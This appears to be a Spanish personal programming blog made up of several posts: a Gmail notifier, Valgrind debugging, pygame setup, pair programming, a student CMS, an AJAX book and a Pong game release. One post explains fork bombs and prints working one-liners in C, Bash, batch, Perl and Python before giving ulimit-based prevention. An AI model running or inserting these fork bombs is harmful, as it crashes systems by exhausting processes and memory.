Tengo listo un notificador de correo Gmail para Gnome 3 que usa libnotify para mostrar las notificaciones. Ahora me toca ver que algoritmo puedo usar para cifrar las contraseñas de las cuentas que quiera recordar….
Tal vez me sirva usar Gnome Keyring de alguna forma, pero haría esta característica del programa poco portable si me lo llevo a otro entorno y/o sistema operativo.
Me pregunto cuan factible será usar RSA…
Me salvé por los pelos. Hace poco mas de un mes me preguntaron por mi proyecto y dije que lo tenía terminado. Tras unas pruebas me di cuenta algo tarde que mi proyecto tenía unas fallas, las cuales no tenía ni idea de a que se debían.
Eso fue hasta ayer por la noche. Había oído acerca de este programa antes así que me decidí a probarlo y a pasárselo a mi proyecto. Tras unos 10 posibles errores y uno crítico conseguí corregir un fallo de gestión de memoria que sin este programa me hubiese tirado aun otro par de semanas mas como mínimo. Valgrind es un programa que nos permite buscar fallos de gestión de memoria, buffer overflows, problemas con el heap, cualquier cosa. Eso si, es bastante tiquismiquis; os reportará mas de lo que debería ya que la mínima tontería saldrá en pantalla.
¿El fallo de memoria? Una chorrada como un castillo: una función que rompía una cadena de caracteres dado un separador, no reservaba espacio para el byte ‘\0′ (caracter nulo). Esto hacía que al principio no pasara nada, pero al momento que hacía de ejecutar el programa bastantes ciclos, escribía constantemente esos bytes fuera de la memoria reservada para ese buffer, y al momento en que tocase una de las otras cadenas con las que estaba trabajando, pues podía ocurrir de todo, ya os podéis imaginar.
Hoy voy a hablar sobre las bombas fork. ¿Que es una “bomba fork”?
En linux tenemos una llamada del sistema que se llama fork. Esta función se dedica a realizar un copia exacta de el proceso que la llama en el mismo estado de ejecución en el que está ese proceso en ese preciso momento. Por tanto una bomba fork consiste en una llamada infinita a dicha llamada de sistema. Esto causa que a la hora de realizar un programa en bucle que se dedique a hacer copias de si mismo en memoria llegará a colapsar la lista de procesos que debe gestionar el sistema operativo, así como llenar la memoria RAM del sistema.
¿Como llevarlo a acabo?
Realizar este tipo de “Wabbit” es muy sencillo, como ya habeis podido intuir solo necesitais hacer esta llamada dentro de un bucle.
En C, esto estaría escrito así:
int main(){
while(1){
fork();
}
return 0;
}
También se puede hacer en otros lenguajes, como en los siguientes ejemplos.
BASH:
forkbomb(){ forkbomb|forkbomb & };forkbomb
Para windows también es posible realizar esto, de la siguiente forma usando batch:
:s
start %0
%0|%0
goto :s
En perl es como mas me gusta ^^:
fork while fork
Y como ultimo ejemplo, en python tampoco queda mal ^^:
import os
while True:
os.fork()
¿Como prevenirlo?
Pero, ¿es esto evitable?. La respuesta es si.
Si queremos evitar que nos gasten esta broma estaría bien limitar el número de procesos que un usuario puede ejecutar en el sistema. Así siempre llegaría a un limite y el equipo seguiría operativo.
En linux y bsd tenemos 2 formas de hacer esto.
Añade la siguiente linea a “/etc/security/limits.conf”:
Eso si tienes pam_limits activado, del lo contrario seria recomendable hacerlo de esta otra forma. En “/etc/profile.conf” añadir lo siguiente:
ulimit -u 200
Esta tarde estuve instalando una serie de programas de desarrollo y me encontré con este problema del que ya me percaté cierto tiempo atrás.
Y es que parece que los chicos de pygame van algo atrasados, pues ya han sacado a la luz la version de producción 2.7 de python y aun no hay un paquete msi para windows para esa versión de windows, lo mismo ocurre para las versiones de 64bits. Aunque estas ultimas no sean aun demasiado importantes, las de 32 bits para la ultima versión de python si me parece que urge.
Ya sabéis, si os encontrais con este mensaje al importar pygame: “ImportError: DLL load failed: The specified module could not be found.” Debéis instalar python 2.6.5 y pygame para 2.6.
Y soy de los que programan en solitario por varias razones, pero aunque nunca pude programar en grupo o en pares, sabia que por lógica programar al menos con alguien mas en un proyecto, debía ser siempre mejor que hacerlo solo. El caso es que leí dos artículos acerca de ventajas e “inconvenientes” de la programación en grupos. Y no puedo estar más de acuerdo con las ventajas. Donde no estoy del todo de acuerdo es en los inconvenientes. Aquí un resumen de lo leído en el artículo titulado “Los 5 riesgos de la programación en solitario”:
La Programación en pareja es una de las prácticas más debatidas de Extreme Programming. Históricamente, la programación solía ser una actividad solitaria que requería de una alta concentración e incluso aislamiento total.
Alta tasa de defectos
Este es el riesgo más obvio. Los seres humanos no somos magos y sin importar que tan preciso se intente ser, es inevitable que ocurran errores de tipeo, se comprenda mal el requerimiento o simplemente ocurra una equivocación. Los programadores solitarios enfrentan estos errores con ayuda de una planificación cuidadosa, revisiones de código y varias herramientas de análisis de código. Estas actividades son todas muy útiles, pero no existe ninguna revisión de código realizada después del problema que pueda compararse con una revisión continua que se hace durante el mismo acto de escribir el código. También, no hay cantidad de de planificación cuidadosa que se pueda comparar con estar junto al cliente, al analista de negocio o al tester mientras se trabaja con el requerimiento.
La programación de a pares no es la bala de plata que solucionará todos los problemas; simplemente resulta demasiado riesgoso presuponer que una única persona puede prevenir la misma cantidad de errores que una pareja.
Las distracciones que nos fuerzan a salir de la Zona
A un trabajador promedio de oficina se lo interrumple cada 11 minutos. No resulta sorprendente que a un programador le cueste tanto Fluir, y lograr código creativo y diseños eficientes. No es tan facil interrumpir a un par de personas que trabajan como un equipo. Para quienes están caminando por la oficina, es mentalmente más dificil atreverse a interrumpir a un equipo; la pareja en general apaga el centro de atención individual a su entorno. Además, incluso aunque la pareja sea interrumpida, a menudo se puede dejar a que uno resuelva el pedido importante y deje a su pareja “fluyendo”, para luego unírsele nuevamente cuando la distracción queda resuelta.
La programación de a pares no es la bala de plata que solucionará todos los problemas; simplemente resulta demasiado riesgoso presuponer que un programador solitario puede ser tan resistente a las distracciones externas como una pareja.
Poca concentración y disciplina
Los programadores son personas bastante disciplinadas, pero a veces hay demasiados videos divertidos en YouTube, o algún artículo muy interesante (pero irrelevante en ese momento) publicado en algun sitio popular. Los motivos de distracción no son malos por si mismo, después de todo nadie puede escribir código creativo durante 8 horas seguidas.Sin embargo, cuando esta tentación se va de las manos, añade otra fuente de distracciones. Cuando se trabaja con un par, cada parte se siente naturalmente comprometida al objetivo, y las personas pueden seguir con sus objetivos puramente personales cuando se acaba el tiempo de trabajar con la pareja.
La programación de a pares no es la bala de plata que solucionará todos los problemas; simplemente resulta demasiado riesgoso presuponer que un programador solitario puede resistir las tentaciones que rompen la disciplina de forma tan efectiva como una pareja.
Pocos incentivos para seguir prácticas comunes
Cuando se aproxima la fecha de entrega, es facil olvidarse de la calidad de las pruebas unitarias, de realizar análisis de la arquitectura, de verificar que los nombres de las variables sigan los estándares de la organización, etc., etc. No resulta facil admitir esto mismo frente a una pareja. Justo al revés, es mucho más facil encontrar el coraje necesario para decirle a la gerencia que la tarea es demasiado grande, o para contarle a la pareja que uno no sabe cómo aplicar una práctica de forma eficiente.
La programación de a pares no es la bala de plata que solucionará todos los problemas; simplemente resulta demasiado riesgoso presuponer que a un programador solitario le resulta igual de facil seguir prácticas comunes como a una pareja.
Aprendizaje lento
Cualquier persona que ingresa a un equipo, tanto sea un desarrollador senior como alguien que se acaba de graduar, necesita tiempo para aprender los estándares del equipo, la forma en que trabaja y el código en si mismo. El aprendizaje en solitario puede llevar meses, y las personas más tímidas pueden terminar sin conocer el uso de una herramienta en particular. La programación de pares con un mentor o mentores reduce significativamente la cantidad de tiempo que se necesita para aprender distintos temas, comprender el código y unirse al equipo.
Por otro lado, el programador solitario sólo tiene a sus propios conocimientos y punto de vista para aprender. La programación en pareja, al rotar progresivamente por todos los miembros del equipo, enriquece constantemente a las personas, brindándoles nuevas experiencias, opiniones y perspectivas, logrando así un crecimiento personal y profesional continuo que resultaría imposible de alcanzar en forma aislada.
La programación de a pares no es la bala de plata que solucionará todos los problemas; simplemente resulta demasiado riesgoso presuponer que un programador solitario puede aprender igual de rápido como si estuviera junto a otro miembro del equipo.
Fuente: http://www.dosideas.com/noticias/reflexiones/401-los-5-riesgos-de-programar-en-solitario.html
En otro artículo que trata el mismo tema, expone un número de desventajas ademas de los beneficios.
Aun así, no todos los que añaden algún comentario al blog lo están también. Por ejemplo, hay quien da argumentos a favor del trabajo en solitario, como éstos:
- Propiedad total de las decisiones del diseño.
- Ser responsable de la agenda del proyecto.
- Poder fijar tus propias prioridades, sin necesitar alentar a otros a que vivan por ellas
- No necesitar actuar de “niñera” de desarrolladores menos experimentados
- Poder utilizar un proyecto para explorar una nueva tecnología, sin tener que justificar la decisión a otros miembros del equipo o a encargados de proyecto
- Poder comunicarse directamente con los clientes sin tener que trabajar a través de intermediarios (como encargados de proyecto o analistas).
- No hay que ocuparse de código heredado de otros desarrolladores; como todo el código es el mío, mi familiaridad es mayor.
- Poder elegir qué lenguaje y qué base de datos utilizar para los nuevos proyectos.
- No tener que perder ni una hora en reuniones del equipo ni con los encargados
Fuente: http://nachocabanes.blogspot.com/2007/06/uno-es-el-numero-mas-solitario.html
La primera ventaja de trabajar en solitario no la veo como tal. Piensa que si te equivocas, toda responsabilidad recae sobre ti, y trabajando en grupo, corrigiéndose unos a otros hay menor probabilidad de equivocarse. Con la segunda me pasa parecido a la primera, ¿que clase de ventaja es esa?, no la entiendo. Las demás tienen un pase, pero, como digo no son realmente ventajas. La que mas me conviencia era “Poder utilizar un proyecto para explorar una nueva tecnología, sin tener que justificar la decisión a otros miembros del equipo o a encargados de proyecto”, y para esto, están los pequeños proyectos de exploración que hace uno personalmente en su casa.
Hace mucho tiempo ya que no dejaba entradas en el blog, ultimamente he estado ocupado con el trabajo de practicas y asuntos varios. El caso es que CytrusCMS, el proyecto de gestor de contenidos modular que estaba desarrollando para el proyecto integral del ciclo de informatica que curso, va llegando a la recta final de su fase alpha de desarrollo.
Despues de muchos quebraderos de cabeza, mas del tipo autosuperación, de mejorar y tratar de hacer el trabajo lo mejor posible al primer intento, el proyecto cobro unas metas claras y también mucho mas modestas, esto ultimo debido a dos factores: Escasez de tiempo de desarrollo e investigación/aprendizaje y experiencia. No era el objetivo crear un clon perfecto del joomla tampoco, pero como con los videojuegos, mas vale hacer proyectos de menor envergadura y hacerlos bien antes de hacer un CMS modular/universal.
A pesar de esto estoy decidido a investigar todas las tecnicas, tecnologias y lenguajes para desarrollar RIA’s que esten a la altura de la “Web 2.0″, lo cual una vez termine el proyecto, independientemente del resultado que obtenga en la presentación en el instituto del proyecto, tengo pensado un rediseño desde cero, con todas las cosas que he aprendido y me he dado cuenta mientras desarrollaba el actual, y asi ir mejorandolo.
En el trabajo también estoy desarrollando otra aplicación web, para Sotogrande S.A. del que ya comentaré algo si es que empieza realmente a tomar forma, aunque probablemente termine realizandolo como proyecto personal si no llego a realizarlo alli, tiene chicha el proyecto 
.
Pues bueno, ultimamente he estado bastante liado con el proyecto integral del instituto, el cual el mio consistira en hacer una aplicación web. Por esta razón, y junto a los últimos exámenes, hace bastante tiempo que no actualizo el blog, pero no os preocupeis que sigo por aqui ^^ (si es que alguien lee esto 
).
Portada del libro
Estoy desarrollando un pequeño y simple gestor de contenidos en PHP y MySQL, el cual ya lo tengo mas o menos casi por la mitad de su desarrollo. Este me permitirá gestionar artículos, descargas, menús, enlaces, y incluirá tambien un visor de paginas html simples, para que entren formateadas como contenido dentro del CMS.
La versión que desarrolle para el proyecto del instituto tendrá ciertas limitaciones para que pueda entregarlo a tiempo. Aun asi, he estado investigando sobre desarrollo de aplicaciones RIA mediante AJAX y todas estas tecnologias que ahora estan de moda, para hacerlo aun mas en condiciones e ir aprendiendo lo nuevo.
Con este motivo adquirí recientemente un nuevo libro para mi imparable colección de libros de informática y programación que me estoy haciendo, se titula “AJAX, Rich Internet Aplications y desarrollo web para programadores”, de Paul J. Deitel y Harvey M. Deitel.
Aun no lo terminé, de hecho por el “formato” de dicho libro es mas bien un libro de consulta que de leertelo de pe a pa, ya que supera las 1000 paginas. Pero lo que llevo del libro esta bastante bien aunque las primeras 100 paginas es mucha introducción a lo que es el mundo del desarrollo de la web 2.0, luego te va enseñando, aunque no exaustivamente claro esta, cada uno de los lenguajes, e incluye cerca de 180 ejemplos de código, siempre empezando con una breve introduccion basica con ejemplos al lenguaje, empezando con XHTML, luego con CSS 2, Javascript (al cual le dedica bastante), el modelo de objetos DOM, XML y RSS, y otros muchos contenidos en los que tambien entran PHP y Adobe Flex/Flash. Un libro recomendable para el que le interese empezar en esto.
Hace un tiempo tambien me agencié otro de ActionScript 3 con la intencion de hacer algunos jueguecillos con eso, pero con lo del proyecto le tengo mas prioridad a lo de la web, aver si termino con esto y le doy un buen uso tambien ^^.
Ya esta terminada la versión 1.0.2 del juego, y disponible tambien el codigo fuente. Pueden descargar ambas cosas de: http://code.google.com/p/xtremepong/
Con motivo de soluciónar los fallos descubiertos tras la publicación de Xtreme Pong, será publicada la versión 1.0.2, que corregirá un fallo en la programación de la mecánica de juego, que causa que la bola no sea servida a quien corresponde, siendo siempre servida al jugador 1. Tambien corregirá otro fallo detectado cuando es ejecutado en algunas instalaciónes de Windows XP y sobre todo en Vista, que al cerrar el juego desde el boton de la ventana, hace que windows muestre el tipico mensaje de error, o se bloquee la aplicación.
A la vez, será publicado el código fuente completo del juego.
Ya esta aqui, ya esta aqui!, el juego que….. (nadie estaba esperando ¬¬…..) pero es igual xD. Alfin consegui terminar Xtreme Pong y ya esta disponible su descarga, asi que se agradece que lo probeis y me conteis vuestras impresiones, aunque realmente no es lo primero que programo, si es el primero juego que realmente termino y saco a la luz, asi que por favor no seais crueles ^^.
El juego dispone de dos modos de juego:
Además, la IA ha sido programada de forma que presente un reto al jugador. Pienso que asi hace que el juego no sea un juego de jugar 5 minutos, donde ganas y luego lo cierras.
Podeis descargaroslo desde aqui: http://www.greatgamesexperiment.com/game/xtremepong
Proximamente lo hare funcionar en linux y colgaré por aqui el codigo fuente, para el que le interese o le sirva para aprender.
Espero que os guste, un saludo !